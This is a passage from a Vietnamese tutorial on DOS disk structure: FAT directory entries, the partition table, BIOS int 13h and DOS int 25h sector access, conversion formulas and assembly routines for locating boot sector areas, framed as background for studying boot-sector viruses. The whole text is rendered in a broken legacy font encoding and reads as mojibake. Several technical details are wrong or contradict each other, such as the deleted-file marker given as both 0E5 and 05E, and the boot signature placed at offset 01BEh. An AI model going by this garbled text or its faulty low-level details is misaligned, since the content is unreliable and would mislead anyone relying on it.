Hidden, System, Volume, SubDir vµ Attrive. C¸c bit biÓu diÔn nh÷ng thuéc tÝnh nµy nh− sau : 
byte thuéc tÝnh:  
 + bit 0 = 1:  file chØ ®äc. 
 + bit 1 = 1:  file Èn. 
 + bit 2 = 1:  file hÖ thèng. 
 + bit 3 = 1:  Volume label 
 + bit 4 = 1:  SubDir. 
 + bit 5 = 1:  file ch−a ®−îc backup. 
Entry ®Çu file trong FAT còng ®−îc l−u gi÷ t¹i ®©y cho phÐp t¨ng tèc ®é tÝnh to¸n vµ truy xuÊt 
file còng nh− kÝch th−íc file cho biÕt kÝch th−íc cô thÓ cña tõng file h¬n lµ sè cluster qu¸ trõu 
t−îng. 
Néi dung cña th− môc gèc:  cã thÓ lµ mét file hay mét th− môc con (SubDir). Ta sÏ ®i s©u vµo 
sù kh¸c nhau gi÷a th− môc gèc vµ th− môc con. Th− môc gèc lu«n n»m trong vïng hÖ thèng, 
ngay sau FAT, kÝch th−íc (sè sector) dµnh cho Root ®−îc t¹o ra trong khi format logic vµ 
kh«ng thay ®æi trong suèt qu¸ tr×nh sö dông, do ®ã, sè entry trong Root bÞ giíi h¹n. Ng−îc l¹i, 
SubDir l¹i n»m trong vïng d÷ liÖu nªn kÝch th−íc kh«ng bÞ h¹n chÕ, nã cã thÓ ®−îc t¹o ra, 
thªm bít, hñy .... nh− mét file. Thùc chÊt, SubDir lµ cÊu tróc ‘lai’ gi÷a file vµ Root:  nã cã thÓ 
®−îc ph©n phèi cluster ®Ó chøa d÷ liÖu, t¨ng gi¶m kÝch th−íc nh− file, tuy nhiªn, d÷ liÖu cña 
nã l¹i lµ c¸c entry nh− Root Dir. ChÝnh cÊu tróc cña SubDir lµm cho cÊu tróc toµn th− môc nãi 
chung kh«ng bÞ h¹n chÕ (t©t nhiªn, còng bÞ h¹n chÕ do dung l−îng ®Üa) t¹o thµnh mét cÊu tróc 
c©y cho phÐp thi hµnh gi¶i thuËt truy xuÊt trªn c©y gän vµ ®Çy hiÖu qu¶. 
Còng nh− nh÷ng entry cña FAT, entry cña Root còng mang nh÷ng gi¸ trÞ nµo ®ã ®Ó chØ ra 
entry nµy hoÆc ®� dïng, cßn trèng hay ®� bá ®i .... KÝ tù ®Çu tiªn cña tªn file ph¶n ¸nh ®iÒu 
nµy. NÕu mét entry b¾t ®Çu b»ng byte cã gi¸ trÞ: 
0: entry cßn trèng ch−a ®−îc dïng, do ®ã, cho phÐp DOS biÕt nã ®� ®¹t tíi entry cuèi cïng. 
‘.’ (dÊu chÊm): kÝ tù nµy ë byte ®Çu cho biÕt entry nµy dµnh riªng cho DOS, ®−îc dïng trong 
cÊu tróc th− môc con. 
0E5: kÝ tù sigma nµy th«ng b¸o cho DOS biÕt entry nµy cña mét file bÞ xãa. Khi xãa mét file, 
thùc chÊt DOS chØ d¸nh dÊu byte ®Çu tiªn lµ 05E vµ xãa chain cña file trong FAT. Do ®ã, cã 
thÓ kh«i phôc l¹i file nÕu ch−a bÞ file kh¸c ®Ì lªn. 
Mét kÝ tù bÊt k×: lµ tªn mét file, entry nµy ®ang l−u gi÷ th«ng tin vÒ mét file nµo ®ã. 

4/ CÊu tróc Partition table: Gi¸ mét ®Üa cøng t−¬ng ®èi m¾c, mÆt kh¸c, dung l−îng ®Üa qu¸ 
lín còng lµm DOS kh«ng qu¶n lÝ næi (chØ tõ DOS 3.4  trë ®i, míi cã kh¶ n¨ng qu¶n lÝ trªn 
32Mb), vµ nhÊt lµ muèn t¹o mét ®Üa víi nhiÒu hÖ ®iÒu hµnh kh¸c nhau, do ®ã ®ßi hái ph¶i chia 
®Üa cøng thµnh tõng phÇn gäi lµ Partition. 
C¸c cÊu tróc ®Üa mµ ta tr×nh bµy trªn chØ hoµn toµn ®óng ®èi víi ®Üa mÒm, cßn ®Üa cøng, nÕu 
®� ®−îc chia thµnh c¸c Partition th× cÊu tróc trªn vÉn ®óng trong c¸c Partition mµ DOS qu¶n lÝ. 
C¸c th«ng tin vÒ ®iÓm b¾t ®Çu vµ kÝch th−íc cña tõng partition ®−îc ph¶n ¸nh trong Partition 
table. Partition table nµy lu«n t×m thÊy ë sector ®Çu tiªn trªn ®Üa (track 0, Side 0, sector 1) thay 
v× Boot sector (cßn ®−îc gäi d−íi tªn Master boot). 
Nh− ®� biÕt, sector nµy sÏ ®−îc ®äc lªn ®Çu tiªn vµ trao quyÒn ®iÒu khiÓn, do ®ã, ngoµi 
Partition table, Master boot cßn chøa ®o¹n m� cho phÐp x¸c ®Þnh partition nµo ®ang ho¹t ®éng 
vµ chØ duy nhÊt cã mét partition ho¹t ®éng mµ th«i. 
Partition table n»m ë offset 01BE, mçi partition ®−îc ®Æc tr−ng b»ng mét entry 16 byte ph¶n 
¸nh nh÷ng th«ng tin vÒ nã. Mçi entry cã cÊu tróc nh− sau: 
Offset Size   Néi dung 
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+0  1  Cê hiÖu boot: 0=kh«ng active; 80h=active 
+1  1  Sè head b¾t ®Çu 
+2  2  Sè sector vµ Cylinder cña boot sector 
+4  1  M� hÖ thèng: 0=unknow; 1=FAT 12 bit; 4= 16 bit 
+5  1  Sè head kÕt thóc. 
+6  2  Sè sector vµ Cylinder cña sector cuèi cïng. 
+8  4  Sè sector b¾t ®Çu t−¬ng ®èi. (low high) 
+0Ch 4  Tæng sè sector trªn partition.(low high) 
+10h   §Çu vµo cña mét partition míi hay tËn cïng cña b¶ng  
    nÕu cã gi¸ trÞ 0AA55. 

 

III - C¸c T¸c Vô Truy XuÊt §Üa. 

C¸c phÇn trªn ®� ®Ò cËp kh¸ chi tiÕt ®Õn cÊu tróc vËt lÝ còng nh− cÊu tróc logic cña ®Üa. TÊt 
nhiªn, c¸c b¹n sÏ hái: øng víi cÊu tróc nh− thÕ, viÖc truy xuÊt ph¶i nh− thÕ nµo? LiÖu r»ng víi 
hai c¸ch tæ chøc ®Üa (vËt lÝ vµ logic theo DOS), viÖc truy xuÊt cã g× kh¸c nhau? PhÇn sau ®©y 
sÏ gi¶i quyÕt c©u hái nµy. 
1/ Møc BIOS (Basic Input/Output System): T−¬ng øng víi møc cÊu tróc vËt lÝ, bé ®iÒu khiÓn 
®Üa còng ®−a ra c¸c kh¶ n¨ng cho phÐp truy xuÊt ë møc vËt lÝ. C¸c chøc n¨ng nµy ®−îc thùc 
hiÖn th«ng qua ng¾t 13h, víi tõng chøc n¨ng con trong thanh ghi AH. C¸c chøc n¨ng c¨n b¶n 
nhÊt sÏ ®−îc kh¶o s¸t sau ®©y: 
a. Reset ®Üa: 

Vµo:  AH = 0 
  DL = sè hiÖu ®Üa vËt lÝ (0=®Üa A, 1=®Üa B ..... 080=®Üa cøng). 
NÕu DL lµ 80h hay 81h, bé ®iÒu khiÓn ®Üa cøng sÏ reset 
   sau ®ã ®Õn bé ®iÒu khiÓn ®Üa mÒm. 
Ra: Kh«ng 
Chøc n¨ng con nµy ®−îc dïng ®Ó reset ®Üa sau mét t¸c vô gÆp lçi. 

b. LÊy m� lçi cña t¸c vô ®Üa gÇn nhÊt: 

 Vµo: AH = 1 
   DL = ®Üa vËt lÝ. NÕu DL=80h lÊy lçi cña ®Üa mÒm 
             DL=7Fh lÊy lçi cña ®Üa cøng. 
 Ra:  AL chøa m� lçi, thùc chÊt cña lçi nµy, BIOS lÊy ra tõ vïng d÷ liÖu cña nã t¹i ®Þa 
chØ 0:0441. 
 Mét sè m� lçi th−êng gÆp ®−îc liÖt kª sau ®©y: 
M� lçi  M« t¶ 
00h  Kh«ng gÆp lçi 
01h  Sai lÖnh hoÆc lÖnh kh«ng hîp lÖ. 
03h  Ghi vµo ®Üa cã d¸n nh�n chèng ghi. 
04h  Sector ID sau hay kh«ng t×m thÊy. 
05h  Reset gÆp lçi. 
10h  Bad CRC: CRC kh«ng hîp lÖ khi d÷ liÖu trªn sector ®−îc kiÓm  tra. 
20h  Controller gÆp lçi. 
40h  Seek gÆp lçi, track yªu cÇu kh«ng t×m thÊy. 
80h  §Üa kh«ng s½n sµng. 
0BBh  Lçi kh«ng x¸c ®Þnh. 
c. §äc sector: 
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 Vµo: AH=2 
   DL=sè hiÖu ®Üa (0=®Üa A, ..., 80h=®Üa cøng 0, 81h= 
    ®Üa cøng 1); 
   DH=sè ®Çu ®äc ghi. 
   CH= sè track (Cylinder) 
   CL=sè sector. 
   AL=sè sector cÇn ®äc/ghi (kh«ng v−ît qu¸ sè sector  
    trªn mét track). 
   ES:BX=®Þa chØ cña buffer chøa th«ng tin. 
   0:078=b¶ng tham sè ®Üa mÒm (®èi víi c¸c t¸c vô trªn 
     ®Üa mÒm). 
   0:0101=b¶ng tham sè ®Üa cøng (®èi víi c¸c t¸c vô trªn 
     ®Üa cøng). 
 Ra:  CF=1 nÕu cã lçi vµ m� lçi chøa trong AH. 
d. Ghi sector: 

 Vµo: AH=3 
   ES:BX trá ®Õn buffer chøa d÷ liÖu 
   cßn l¹i t−¬ng tù nh− chøc n¨ng ®äc sector. 
 Ra:  CF=1 nÕu cã lçi vµ m� lçi chøa trong AH. 

ë ®©y cÇn l−u ý ®Õn quy −íc phøc t¹p trong viÖc x¸c ®Þnh track vµ sè thø tù sector trong thanh 
ghi CX. Râ rµng, sè sector trªn mét track lµ qu¸ nhá (sè sector trªn mét track lín nhÊt th−êng 
gÆp hiÖn nµy còng chØ kho¶ng 34 (chiÕm cao l¾m kho¶ng 6 bit), trong khi ®ã, sè l−îng track 
trªn ®Üa cã thÓ lín, do ®o, khã mµ ®−a gi¸ trÞ ®ã vµo thanh ghi CH (chØ biÓu diÔn tèi ®a 256 
track mµ th«i). Gi¶i ph¸p lµ dïng thªm 2 bit trong CL lµ 2 bit cao cho sè track, lµm cho nã cã 
kh¶ n¨ng biÓu diÔn ®−îc sè track tèi ®a lªn ®Õn 1024 track. S¬ ®å nh− sau: 
 
    F    E   D   C     B     A    9     8     7     6     5    4     3    2     1    0 

c c c c c   c c c C c   S s s s s s 

         
      2 bit ®−îc dïng nh− bit cao cho tr−íc 
Theo s¬ ®å nµy, 2 bit cuèi cña CL ®−îc g¸n lµ 2 bit cao nhÊt thªm vµo bªn gi¸ trÞ CH. Do ®ã, 
gi¸ trÞ lín nhÊt cña sector (6 bit) lµ 3Fh=63 sector trªn mét track (còng vÉn ch−a khai th¸c hÕt 
kh¶ n¨ng nµy) vµ b©y giê sè track tèi ®a cã thÓ qu¶n lÝ ®−îc lªn ®Õn 3FFh=1024 track. ChÝnh 
v× c¸ch quy −íc nµy, viÖc thùc hiÖn ®iÒu chØnh c¶ hai gi¸ trÞ track v¶ vµo thanh ghi CX ®ßi hái 
mét gi¶i thuËt khÐo lÐo. §o¹n ch−¬ng tr×nh sau sÏ minh häa c¸ch gi¶i quyÕt nay: 
Ready_CX  proc near 
:Chøc n¨ng: cho gi¸ trÞ 2 biÕn track vµ sector vµo thanh CX chuÈn bÞ cho t¸c vô ®äc ghi ;s¾p 
tíi. 
Push  DX      ;CÊt thanh ghi DX 
mov  DX, track     ;DX=gi¸ trÞ track trong c¸c bit 
        ;tõ 0 tíi 9 
xchg  DH, DL     ;DH chøa 8bit thÊp, DL chøa 2bit 
        ;cao 
mov  CL,  5     ;tuy nhiªn l¹i n»m ë bit 0 vµ 1 
shl  DL, CL     ;CÇn ®Èy chóng sang tr¸i 6 vÞ trÝ 
or  DL, sector     ;§−a gi¸ trÞ sector vµo DL 
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mov  CX, DX     ;CX ®� lµm xong 
pop  DX      ;LÊy l¹i gi¸ trÞ DX 
ret 
Ready_CX  endp 
 
e. Verify sector:  Chøc n¨ng nµy cho phÐp kiÓm tra CRC cña c¸c sector ®−îc chän. 

 Vµo: AH=4 
   C¸c thanh ghi nh− c vµ d 
 Ra:  CF=1 nÕu cã lçi vµ m� lçi chøa trong AH. 
2/ Møc DOS: C¸c chøc n¨ng cña ng¾t 13h cho phÐp ®äc bÊt k× mét sector nµo trªn ®Üa. Tuy 
nhiªn, do c¸c quy ®Þnh thanh ghi phøc t¹p, nhiÒu yÕu tè ¶nh h−ëng (track, head, sector), c¸c 
chøc n¨ng nµy kh«ng ®−îc ng−êi sö dông −a chuéng l¾m. Thay vµo ®ã, DOS ®� cung cÊp mét 
c¸ch truy xuÊt ®Üa kh¸c rÊt thuËn lîi cho ng−êi sö dông v× tÝnh ®¬n gi¶n vµ hiÖu qña. 
Chøc n¨ng ®äc vµ ghi ®Üa d−íi DOS ®−îc ph©n biÖt bëi hai ng¾t 25h vµ 26h, tham sè ®−a vµo 
b©y giê chØ cßn lµ sector logic. Nh−ng nh−îc ®iÓm cña nã trªn c¸c ®Üa cøng cã chia partition: 
nã chØ cho phÐp truy xuÊt c¸c sector b¾t ®Çu tõ Boot sector cña partition ®ã. 
§Ó tiÖn viÖc gäi tªn ®Üa, DOS kh«ng xem c¸c ®Üa mÒm ®−îc ®¸nh sè tõ 0 ®Õn 7Fh vµ ®Üa cøng 
b¾t ®Çu tõ 80h nh− BIOS mµ thay vµo ®ã, gäi c¸c ®Üa theo thø tù c¸c ch÷ c¸i tõ A ®Õn Z. C¸ch 
®¸nh sè nµy lµm cho ng−êi sö dông dÔ h×nh dung ra æ ®Üa ®−îc truy xuÊt. C¸c tham sè cho 
chøc n¨ng nµy nh− sau: 
Vµo: AL=sè ®Üa (0=A, 1=B, ...) 
  CX=sè l−îng sector cÇn ®äc/ghi 
  DX=sè sector logic b¾t ®Çu. 
  DS:BX=®Þa chØ cña buffer chøa d÷ liÖu cho t¸c vô ®äc/ghi 
Ra: Lçi nÕu CF=1, m� lçi ch−a trong AX. Ng−îc l¹i, t¸c vô ®äc/ghi ®−îc thùc hiÖn thµnh 
c«ng, c¸c gi¸ trÞ thanh ghi ®Òu bÞ ph¸ hñy, trõ c¸c thanh ghi ph©n ®o¹n vµ mét word cßn sãt l¹i 
trªn stack. 
C¸c ng¾t nµy vÉn bÞ hai nh−îc ®iÓm g©y khã chÞu cho ng−êi dïng. TÊt c¶ c¸c thanh ghi ®Òu bÞ 
thay ®æi, do vËy, tr−íc khi gäi chøc n¨ng nµy, nªn cÊt nh÷ng thanh ghi nµo cÇn thiÕt. MÆt 
kh¸c, khi thùc hiÖn xong, DOS l¹i ®Ó l¹i trªn stack mét word sÏ g©y lçi cho ch−¬ng tr×nh nÕu 
kh«ng ®Ó ý ®Õn. §o¹n vÝ dô sau ®äc Boot sector cña ®Üa A b»ng ng¾t 25h. 
ReadBoot proc near 
;®äc Boot sector cña ®Üa A vµo MyBuffer 
mov AL, 0      ;§Üa A 
mov DX, 0      ;Sector 0 
mov  CX, 1     ;§äc mét sector 
 lea  BX, MyBuffer    ;DS:BX trá ®Õn MyBuffer 
 int  25h 
  pop  DX      ;LÊy l¹i mét word trªn stack 
  ret 
ReadBoot endp 
 
NÕu ®Ó ý, ta sÏ thÊy sè sector logic ®−îc ®Æt trong mét thanh ghi 16 bit, nghÜa lµ sè sector tèi 
®a còng chØ ®¹t tíi 65535. NÕu sè byte trªn sector vÉn lµ 512 byte th× dung l−îng ®Üa mµ DOS 
qu¶n lÝ ®−îc chØ cã 32Mb dï sè l−îng cluster lín nhÊt mµ DOS qu¶n lÝ cã thÓ gÊp 4 hoÆc 8 
lÇn. 
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Nh−îc ®iÓm nµy cÇn ph¶i ®−îc kh¾c phôc tr−íc sù c¹nh tranh khèc liÖt gi÷a c¸c hÖ ®iÒu hµnh. 
B¾t ®Çu tõ DOS 4.xx, DOS ®� më réng sè sector logic tõ 16 bit lªn 32 bit vµ vÉn t−¬ng thÝch 
hoµn toµn víi c¸c version tr−íc ®ã. Sù t−¬ng thÝch nµy nh− sau: nÕu CX=-1: sè sector lín nhÊt 
cña DOS, d¹ng thøc cña DOS 4.xx sÏ ®−îc ¸p dông. Lóc nµy, DS:BX sÏ lµ gi¸ trÞ cña Control 
Package, mét cÊu tróc gåm 10 byte - chøa c¸c th«ng tin vÒ sector ban ®Çu, sè sector cÇn ®äc 
....... CÊu tróc cña Control Package nh− sau: 
Offset KÝch th−íc  Néi dung 
   0   4  Sè sector logic ban ®Çu 
   4   2  Sè sector cÇn ®äc/ghi 
   6   4  §Þa chØ cña buffer d÷ liÖu 
Lçi cña chøc n¨ng më réng nµy t−¬ng tù nh− c¸c version tr−íc. Tuy vËy, nÕu b¹n kh«ng dïng 
cÊu tróc 32 bit nh− trªn ®Ó truy xuÊt nh÷ng partition cã h¬n 65535 sector còng bÞ gÆp lçi. Lçi 
tr¶ vÒ cã thÓ lµ 2 (Bad address mark) hay 7 (Unknow Media). 
LÏ dÜ nhiªn DOS ®� t¹o thuËn tiÖn cho ng−êi sö dông nh−ng Ýt ai chÞu tháa m�n  nh÷ng yªu 
cÇu cña m×nh. Râ rµng, khi truy xuÊt ®Üa ta ph¶i biÕt lo¹i cña nã, mÆt kh¸c, lµm sao ta cã ®−îc 
nh÷ng th«ng tin quan träng vÒ ®Üa, xem FAT cña nã gåm bao nhiªu sector, Root Dir b¾t ®Çu tõ 
®©u ch¼ng h¹n.Toµn nh÷ng th«ng tin quan träng. Thùc tÕ, còng ®� nhiÒu ng−ßi tù lµm b»ng 
c¸ch ®äc boot sector lªn vµ sö dông phÇn BPB ®Ó tÝnh to¸n. Song c¸ch nµy ®em l¹i nhiÒu phøc 
t¹p trong vÊn ®Ò tÝnh to¸n, ®ã lµ ch−a kÓ nh÷ng ®Üa mµ boot sector chøa ‘r¸c’ thay cho d÷ liÖu 
ta cÇn. DOS còng kh«ng cã mét tµi liÖu c«ng bè chÝnh thøc nµo ®Ò cËp ®Õn vÊn ®Ò nµy. Tuy 
nhiªn, trong qu¸ tr×nh nghiªn cøu, nh÷ng ng−êi th¶o ch−¬ng viªn giµu kinh nghiÖm ph¸t hiÖn 
mét chøc n¨ng cña DOS (ng¾t 21h) cho phÐp lÊy nh÷ng th«ng tin nµy. 
Tõ ®©y trë ®i, nh÷ng chøc n¨ng tù ng−êi sö dông ph¸t hiÖn ®−îc sÏ gäi lµ Undocumented (tµi 
liÖu kh«ng ®−îc c«ng bè chÝnh thøc). Chøc n¨ng nµy lµ: 
 Vµo: AH=32h 
   DL=®Üa (0=ngÇm ®Þnh, 1=A....) 
 Ra:  AL=0 nÕu ®Üa hîp lÖ 
    0FFh nÕu ®Üa kh«ng hîp lÖ 
DS:BX lµ ®Þa chØ cña b¶ng tham sè ®Üa cña ®Üa ®−îc chØ ®Þnh. 
CÊu tróc cña b¶ng tham sè ®Üa nh− sau: 
Offset Size  Néi dung 
  +0  1  Sè hiÖu ®Üa (0=A, 1=B ....) 
 +1  1  Sè hiÖu con tõ Device Driver 
  +2  2  Sè byte trong mét sector 
 +4  1  Sè sector trong mét cluster 
  +5  1  Cluster to sector shift (cluster lµ 2 mò sè sector)    +6 
 2  BootSiz: Sè sector dµnh riªng  
 +8  1  Sè b¶ng FAT. 
 +9  2  MaxDir: sè ®Çu vµo tèi ®a trong Root 
 +0B  2  Sè sector øng víi cluster #2 
  +0D  2  Tæng sè cluster + 2 
 +0F  1  Sè sector cÇn cho 1 b¶ng FAT. 
  +10  2  Sector b¾t ®Çu Root. 
 +12  4  Off Seg: ®Þa chØ cña device header 
  +16  1  Byte media descriptor 
 +17  1  Cê access: 0 nÕu ®Üa ®� truy xuÊt. 
  +18  4  Off Seg: ®Þa chØ cña b¶ng tham sè kÕ 
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      cuèi b¶ng nÕu lµ FFFFh 
Tuy vËy, còng cÇn chó ý mét ®iÒu: DOS sÏ kh«ng chÞu tr¸ch nhiÖm vÒ nh÷ng ®iÒu m×nh kh«ng 
c«ng bè vµ do ®ã, nÕu ch−¬ng tr×nh cña b¹n cã sö dông ®Õn chøc n¨ng nµo g©y thiÖt h¹i ®¸ng 
kÓ cho ®Üa cña b¹n th× ®ã lµ lçi cña b¹n! MÆt kh¸c, cÊu tróc nµy cã thÓ thay ®æi trong t−¬ng lai 
khi mét version míi ra ®êi. Thùc tÕ ®� chøng minh ®iÒu nµy: b¶ng tham sè ®Üa trªn ®� cã mét 
sù thay ®æi nhá trong cÊu tróc (tuy vËy, còng ®� lµm ‘Run time error’ cho mét sè ch−¬ng 
tr×nh). Do nhu cÇu më réng kh¶ n¨ng qu¶n lÝ ®Üa, sè sector dµnh cho mét b¶ng FAT cã thÓ 
v−ît qu¸ giíi h¹n 255 sector vµ do ®ã gi¸ trÞ sector dµnh cho mét b¶ng FAT t¨ng tõ mét byte 
lªn mét word. 

3/ C¸c gi¶i thuËt chuyÓn ®æi - ®Þnh vÞ: 

a. ChuyÓn ®æi:  Sù tån t¹i 2 c¸ch truy xuÊt theo c¸c yÕu tè vËt lÝ hoÆc logic theo DOS lµm ph¸t 
sinh vÉn ®Ò: sector a trªn head b track c sÏ t−¬ng øng víi sector logic bao nhiªu vµ ng−îc l¹i, 
tõ sector logic x nµo ®ã lµm sao t×m ®−îc to¹ ®é vËt lÝ cña nã? ViÖc ®¸nh sè cña c¶ hai c¸ch 
®Òu ®−îc kh¶o s¸t, do ®ã, còng kh«ng phøc t¹p l¾m ®Ó lµm mét c«ng thøc thay ®æi tõ hÖ nµy 
sang hÖ kia vµ ng−îc l¹i. 
 Sector_logic=(sect-1)+Hd*SecTrk+Cyl*SecTrk*HdNo 
Trong ®ã: 
   Sect  : sè sector hiÖn thêi theo BIOS 
   SecTrk : sè sector trªn mét track 
   Cyl  : sè Cylinder hiÖn thêi 
   Hd  : sè head hiÖn thêi theo BIOS 
   HdNo : sè ®Çu ®äc cña ®Üa 
Chó ý lµ c«ng thøc trªn chØ ®óng nÕu Boot sector cïng n»m ngay t¹i track 0, head 0 vµ sector 
1, nghÜa lµ viÖc ®¸nh sè cña c¶ hai ph¶i b¾t ®Çu cïng mét gèc. NÕu trªn partition, ph¶i chó ý 
®Õn gi¸ trÞ cña c¸c sector dÊu mÆt (hidden sector). 
§Ó tiÕn hµnh chuyÓn ®æi ng−îc l¹i, ta còng cã c«ng thøc: 
Sect=SecLog mod SecTrk+1 
Dh=(SecLog/SecTrk) mod HdNo 
Cyl=SecLog/(SecTrk*HdNo) 
Trong ®ã: 
Sect= sector tÝnh theo BIOS 
HD= head tÝnh theo BIOS 
Cyl= Cylinder tÝnh theo BIOS 
SegLog= sè sector logic 
HdNo= sè ®Çu ®äc cña ®Üa 
Ba tham sè cña ng¾t 13 còng ®−îc chuyÓn ®æi, tuy nhiªn, vÉn ph¶i b¶o ®¶m ®¸nh sè cïng gèc 
vµ ®iÒu chØnh l¹i nÕu kh«ng cïng gèc. 
ViÖc chuyÓn ®æi kh«ng chØ x¶y ra gi÷a BIOS vµ DOS mµ cßn x¶y ra ngay chÝnh trong DOS. 
ChÝnh v× qu¸ nhiÒu kh¸i niÖm ®−a ra lµm cho nã v« cïng phøc t¹p vµ ®«i lóc còng lµm n¶n 
lßng nh÷ng ng−êi muèn tù m×nh lµm viÖc qu¶n lÝ ®Üa thay cho DOS. Dï ®� ®−a ra kh¸i niÖm 
sector logic ®Ó tiÖn truy xuÊt, DOS l¹i ®−a ra kh¸i niÖm cluster ®Ó tiÖn viÖc qu¶n lÝ. ViÖc 
chuyÓn ®æi gi÷a hai kh¸i niÖm nµy còng lµ ®iÒu nªn biÕt. ViÖc chuyÓn tõ cluster sang sector 
logic ®ßi hái ph¶i biÕt ®−îc sè sector logic ®Çu tiªn cña vïng data. NghÜa lµ ph¶i biÕt sè sector 
dµnh cho tõng phÇn: FAT vµ Root Dir (cã lÏ ta kh«ng nªn ®Ò cËp ®Õn sè sector dµnh cho Boot 
sector). Ngoµi ra, cßn ph¶i quan t©m ®Õn c¸c sector dµnh riªng (kÓ c¶ boot). 
Sè sector dµnh cho Root Dir: 
  RootSec=(RootSize*32)/SecSize 
Trong ®ã : 
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 RootSec lµ sè sector b¾t ®Çu Root 
 RootSize lµ entry tèi ®a dµnh cho Root 
 SecSize lµ sè byte trong mét sector. 
Sè sector dµnh cho FAT: 
 FatSec=FatSize*FatCnt 
Trong ®ã: 
 FatSec lµ sè sector ®Çu FAT 
 FatSize lµ sè sector cho mét FAT 
 FatCnt lµ sè FAT 
lóc nµy, sè sector logic sÏ ®−îc tÝnh bëi 
  SecLog=SecRev+FatSec+RootSec+(cluster-2)*ClusterSize 
víi ClusterSize lµ sè sector trong mét cluster. 
DÔ thÊy, c¸c thµnh phÇn cña viÖc chuyÓn ®æi ®Òu n»m trong b¶ng tham sè ®Üa. 
ViÖc chuyÓn ®æi ng−îc l¹i còng t−¬ng tù, nghÜa lµ còng ph¶i x¸c ®Þnh sector logic ®Çu vïng 
data. PhÇn chuyÓn ®æi nµy ®−îc coi nh− phÇn bµi tËp dµnh cho c¸c b¹n trong b−íc ®Çu lµm 
quen víi ®Üa. 
b. §Þnh vÞ cÊu tróc logic ®Üa:  VÊn ®Ò ®Þnh vÞ ë ®©y ®−îc nªu ra cã vÎ h¬i thõa v× mäi th«ng 
tin vÒ bÊt k× phÇn nµo còng cã thÓ lÊy ®−îc mét c¸ch nhanh chãng th«ng qua chøc n¨ng 32h 
cña ng¾t 21h. Nh−ng, râ rµng ng−êi ta kh«ng thÓ qu¶ quyÕt r»ng cÊu tróc nµy ®óng trªn mäi hÖ 
®iÒu hµnh DOS vµ nhÊt lµ còng kh«ng d¸m qu¶ quyÕt nã sÏ ®óng trªn mäi version. MÆt kh¸c, 
tù tay ®Þnh vÞ c¸c phÇn cña ®Üa cøng lµ ®iÒu thó vÞ ®Êy chø! 
ViÖc ®Þnh vÞ nh− ®� nãi kh«ng dïng ®Õn DOS, do ®ã, ph¶i truy nhËp vµ sö dông c¸c tham sè 
cña b¶ng BPB trªn Boot sector. ChÝnh DOS còng ®� lµm ®iÒu nµy (nÕu Boot sector qu¶ thËt 
chøa tham sè cña b¶ng nµy mét c¸ch chÝnh x¸c) tr−íc khi ®Þnh vÞ b»ng c¸ch kh¸c (th«ng qua 
Media byte). ViÖc ®Þnh vÞ c¸c phÇn chØ ®¬n gi¶n lµ ®Þnh vÞ sector ®Çu FAT, sector ®Çu Root vµ 
sector ®Çu vïng data.  
ViÖc ®Þnh vÞ sector ®Çu FAT t−¬ng ®èi dÔ dµng, nã còng chÝnh lµ gi¸ trÞ cña c¸c sector dµnh 
riªng kÓ c¶ Boot sector. 
ViÖc ®Þnh vÞ sector ®Çu Root b»ng sector ®Çu FAT céng víi sè sector trªn hai b¶ng FAT. 
ViÖc ®Þnh vÞ sector ®Çu vïng Data b»ng sector ®Çu Root céng víi sè sector dµnh cho Root. 
§o¹n ch−¬ng tr×nh sau minh häa viÖc ®äc Boot sector tõ ®Üa A (gi¶ sö cã chøa b¶ng tham sè 
®Üa) vµ tiÕn hµnh ®Þnh vÞ. 
AnalysisBoot proc near 
;Chøc n¨ng: ®Þnh vÞ ®Çu vµo mçi phÇn trong vïnh system vµ chøa vµo trong c¸c biÕn 
;sector_begin_FAT, sector_begin_root, sector_begin_data 
;Boot sector ®−îc ®äc vµo trong buffer My_Buffer 
mov  AL, 0      ;§Üa A 
mov DX, 0      ;§oc sector 0 
mov  CX, 1      ;1 sector 
lea  BX, my_buffer    :DS:BX lµ ®Þa chØ buffer 
int  25h      ;§äc lÊy 1 word trong 
pop  DX      ;Stack 
jnc  cont1 
jmp  error 
 cont1: 
mov  AX, my_buffer[0Eh]   ;Sector reserved 
mov  sector_begin_FAT, AX 
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xor  DX, DX 
mov  AL, my_buffer[10]   ;Sè FAT*sector/FAT =sè sector 
xor  AH, AH     ;cho FAT 
mul  my_buffer[16h]     
add  AX, my_buffer[1Ch]   ;sector dÊu mÆt 
add  AX, my_buffer[Eh]   ;sector dµnh riªng 
mov  sector_begin_root, AX  ;Sector ®Çu root ®� tÝnh xong 
mov  sector_begin_data, AX  ;Sector ®Çu data sÏ lµ gi¸ trÞ nµy + 
mov  AX, 20h     ;sè sector dµnh cho root 
mul  my_buffer[11h]    ;Sè entry tèi ®a*sè byte/entry 
mov  BX, my_buffer[Bh] 
add  AX, BX     ;Lµm trßn thµnh béi sè byte 
dec  AX      ;Chia sè byte trªn sector. 
div  BX    
add  sector_begin_data, AX  ;Sector ®Çu data ®� ®−îc tÝnh 
ret 
 analysis_boot endp 
 sector_begin_FAT dw 0 
sector_begin_root  dw 0 
sector_begin_data  dw 0 
my_buffer   db 512 dup (0) 
 

4/ Ph©n tÝch Boot: C¸c phÇn trªn ®� cung cÊp cho c¸c b¹n kh¸ chi tiÕt vÒ cÊu tróc logic còng 
nh− c¸c b¶ng tham sè ®Üa quan träng cña DOS. B©y giê, c¸c th«ng tin bæ Ých ®ã sÏ gióp chóng 
ta lÇn l−ît ph©n tÝch 2 ®o¹n m� trong Partition table vµ trong Boot record. ViÖc hiÓu biÕt t−êng 
tËn c«ng viÖc cña Boot record, dï chØ cô thÓ trªn 1 version cña DOS còng gióp chóng ta cã 
mét c¸i nh×n kh¸i qu¸t vµ dÔ tiÕp cËn víi B-virus h¬n. 
a. Partition table:  C«ng viÖc chÝnh cña ®o¹n m� trong Partition table gåm: 

 + ChuyÓn chÝnh ch−¬ng tr×nh cña m×nh ®i chç kh¸c ®Ó dän chç cho viÖc t¶i Boot record 
cña Active partition vµo. 
 + KiÓm tra dÊu hiÖu nhËn diÖn Boot record b»ng 1 gi¸ trÞ word ë off 01BEh (nÕu lµ Boot 
record, gi¸ trÞ nµy lµ 0AA55h). 
 + Cung cÊp b¶ng tham sè cña entry t−¬ng øng vµo 0:7BE. 
 + ChuyÓn quyÒn ®iÒu khiÓn cho Boot record võa ®äc. 
Partition table mµ ta kh¶o s¸t d−íi hÖ ®iÒu hµnh MSDOS trªn ®Üa cøng 40Mb ®−îc chia lµm 2 
®Üa b»ng FDISK: C cã kÝch th−íc 26Mb vµ D lµ 15Mb. 
Org  07C00h 
begin:         ;Khëi t¹o stack 
cli 
xor  AX, AX 
mov  SS, AX 
mov  SP, 07C00h 
mov  SI, SP 
push  AX 
pop  ES 
